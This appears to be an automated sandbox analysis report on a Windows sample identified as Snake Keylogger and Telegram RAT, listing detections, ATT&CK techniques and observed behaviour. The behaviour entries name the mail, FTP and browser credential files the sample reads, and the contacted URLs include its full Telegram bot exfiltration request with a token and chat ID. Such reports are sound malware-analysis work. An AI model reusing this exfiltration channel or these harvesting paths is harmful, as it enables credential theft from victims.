Source: 00000000.00000002.737154483.0000000002890000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737212904.00000000028BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737268236.00000000028DF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737839802.00000000029F8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738270244.0000000002AB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738131471.0000000002A91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737420491.0000000002928000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738395968.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.738017194.0000000002A69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737513462.000000000294C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.737567001.0000000002964000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000003.670353008.0000000002E38000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 00000000.00000002.739661705.000000000671A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: Process Memory Space: 0OZQi3b0tM.exe PID: 7100, type: MEMORYSTR	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C67196	0_2_00C67196
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C66111	0_2_00C66111
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6F280	0_2_00C6F280
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C683C9	0_2_00C683C9
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6A45D	0_2_00C6A45D
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C65587	0_2_00C65587
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6F6D8	0_2_00C6F6D8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C676A8	0_2_00C676A8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6E758	0_2_00C6E758
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C66B88	0_2_00C66B88
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C67B08	0_2_00C67B08
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6FB31	0_2_00C6FB31
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6EE29	0_2_00C6EE29
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C67F68	0_2_00C67F68
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C671E0	0_2_00C671E0
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C64A98	0_2_00C64A98
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C64AA8	0_2_00C64AA8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C66B78	0_2_00C66B78
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C62C29	0_2_00C62C29
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6DFD0	0_2_00C6DFD0
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_00C6DFE0	0_2_00C6DFE0
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC0498	0_2_04EC0498
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04ECB44C	0_2_04ECB44C
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC16F8	0_2_04EC16F8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC3678	0_2_04EC3678
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04ECB798	0_2_04ECB798
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC0040	0_2_04EC0040
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC3028	0_2_04EC3028
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC2398	0_2_04EC2398
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC4318	0_2_04EC4318
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC3CC8	0_2_04EC3CC8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC1D48	0_2_04EC1D48
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC4FB0	0_2_04EC4FB0
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC08F0	0_2_04EC08F0
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC5850	0_2_04EC5850
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC29E0	0_2_04EC29E0
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC4968	0_2_04EC4968
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC0488	0_2_04EC0488
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04ECC410	0_2_04ECC410
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC16E7	0_2_04EC16E7
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC3668	0_2_04EC3668
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC001E	0_2_04EC001E
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC3018	0_2_04EC3018
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC2389	0_2_04EC2389
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC4308	0_2_04EC4308
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC3CB8	0_2_04EC3CB8
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC1D39	0_2_04EC1D39
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC4F9F	0_2_04EC4F9F
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC8F00	0_2_04EC8F00
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC8F10	0_2_04EC8F10
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC08E0	0_2_04EC08E0
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC29CF	0_2_04EC29CF
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Code function: 0_2_04EC4958	0_2_04EC4958

Source: 0OZQi3b0tM.exe, 00000000.00000002.736120314.00000000008F7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs 0OZQi3b0tM.exe
Source: 0OZQi3b0tM.exe, 00000000.00000002.736050763.0000000000552000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameYFGGCVyufgtwfyuTGFWTVFAUYVF.exeX vs 0OZQi3b0tM.exe
Source: 0OZQi3b0tM.exe	Binary or memory string: OriginalFilenameYFGGCVyufgtwfyuTGFWTVFAUYVF.exeX vs 0OZQi3b0tM.exe

Source: 0OZQi3b0tM.exe	Virustotal: Detection: 73%
Source: 0OZQi3b0tM.exe	Metadefender: Detection: 48%
Source: 0OZQi3b0tM.exe	ReversingLabs: Detection: 88%

Source: 0OZQi3b0tM.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@4/2

Source: 0OZQi3b0tM.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: 0OZQi3b0tM.exe	String found in binary or memory: F-Stopw
Source: 0OZQi3b0tM.exe	String found in binary or memory: F-Stopw

Source: 0OZQi3b0tM.exe, ??u0609?ufffd/Bufffdu02f3?u061d.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 0OZQi3b0tM.exe, u003b?u058f??/?u0040???.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, ??u0609?ufffd/Bufffdu02f3?u061d.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, u003b?u058f??/?u0040???.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, ??u0609?ufffd/Bufffdu02f3?u061d.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformFinalBlock'
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, u003b?u058f??/?u0040???.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: 0OZQi3b0tM.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 0OZQi3b0tM.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

Code function: 0_2_00C65587 LdrInitializeThunk,

0_2_00C65587

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 0OZQi3b0tM.exe, u003b?u058f??/?u0040???.cs	Reference to suspicious API methods: ('?????', 'MapVirtualKey@user32.dll')
Source: 0OZQi3b0tM.exe, ufffd?jkufffd/?????.cs	Reference to suspicious API methods: ('?????', 'LoadLibrary@kernel32.dll'), ('?????', 'GetProcAddress@kernel32')
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, u003b?u058f??/?u0040???.cs	Reference to suspicious API methods: ('?????', 'MapVirtualKey@user32.dll')
Source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, ufffd?jkufffd/?????.cs	Reference to suspicious API methods: ('?????', 'LoadLibrary@kernel32.dll'), ('?????', 'GetProcAddress@kernel32')
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, u003b?u058f??/?u0040???.cs	Reference to suspicious API methods: ('?????', 'MapVirtualKey@user32.dll')
Source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, ufffd?jkufffd/?????.cs	Reference to suspicious API methods: ('?????', 'LoadLibrary@kernel32.dll'), ('?????', 'GetProcAddress@kernel32')

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Queries volume information: C:\Users\user\Desktop\0OZQi3b0tM.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0OZQi3b0tM.exe, type: SAMPLE
Source: Yara match	File source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0OZQi3b0tM.exe, type: SAMPLE
Source: Yara match	File source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0OZQi3b0tM.exe PID: 7100, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\0OZQi3b0tM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\0OZQi3b0tM.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Source: Yara match	File source: 0OZQi3b0tM.exe, type: SAMPLE
Source: Yara match	File source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0OZQi3b0tM.exe PID: 7100, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0OZQi3b0tM.exe, type: SAMPLE
Source: Yara match	File source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0OZQi3b0tM.exe, type: SAMPLE
Source: Yara match	File source: 0.2.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.0OZQi3b0tM.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.429980691.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.735961437.0000000000532000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.737105124.0000000002867000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0OZQi3b0tM.exe PID: 7100, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	Path Interception	1 Disable or Modify Tools	2 OS Credential Dumping	1 Process Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	11 Archive Collected Data	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Obfuscated Files or Information	Security Account Manager	1 System Network Configuration Discovery	SMB/Windows Admin Shares	2 Data from Local System	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	14 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0OZQi3b0tM.exe	73%	Virustotal		Browse
0OZQi3b0tM.exe	49%	Metadefender		Browse
0OZQi3b0tM.exe	88%	ReversingLabs	ByteCode-MSIL.Infostealer.Mintluks
0OZQi3b0tM.exe	100%	Avira	TR/ATRAPS.Gen
0OZQi3b0tM.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.0OZQi3b0tM.exe.530000.0.unpack	100%	Avira	HEUR/AGEN.1203035		Download File
0.0.0OZQi3b0tM.exe.530000.0.unpack	100%	Avira	HEUR/AGEN.1203035		Download File

Domains

Source	Detection	Scanner	Label	Link
checkip.dyndns.com	0%	Virustotal		Browse
checkip.dyndns.org	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
https://api.telegram	0%	URL Reputation	safe
https://api.telegram.org4	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://api.telegram.orgD8	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high
checkip.dyndns.com	193.122.130.0	true	true	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	true	URL Reputation: safe	unknown
https://api.telegram.org/bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake	false		high

URLs from Memory and Binaries

